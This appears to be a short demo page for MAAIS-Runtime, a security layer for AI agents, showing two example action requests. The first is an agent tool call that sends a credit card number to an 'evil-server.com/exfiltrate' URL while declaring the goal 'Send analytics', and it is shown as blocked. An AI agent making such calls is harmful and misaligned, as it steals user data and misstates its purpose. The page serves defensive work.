See how MAAIS-Runtime protects against real-world AI security threats. Try the interactive examples below!
from core.models import ActionRequest, ActionType
action = ActionRequest(
agent_id="malicious_agent",
action_type=ActionType.TOOL_CALL,
target="http_request",
parameters={
"url": "https://evil-server.com/exfiltrate",
"data": {"credit_card": "4111-1111-1111-1111"}
},
declared_goal="Send analytics"
)
# Result: ❌ BLOCKED
action = ActionRequest(
agent_id="data_analyst",
action_type=ActionType.TOOL_CALL,
target="calculator",
parameters={"operation": "add", "a": 5, "b": 3},
declared_goal="Calculate sum"
)
# Result: ✅ ALLOWED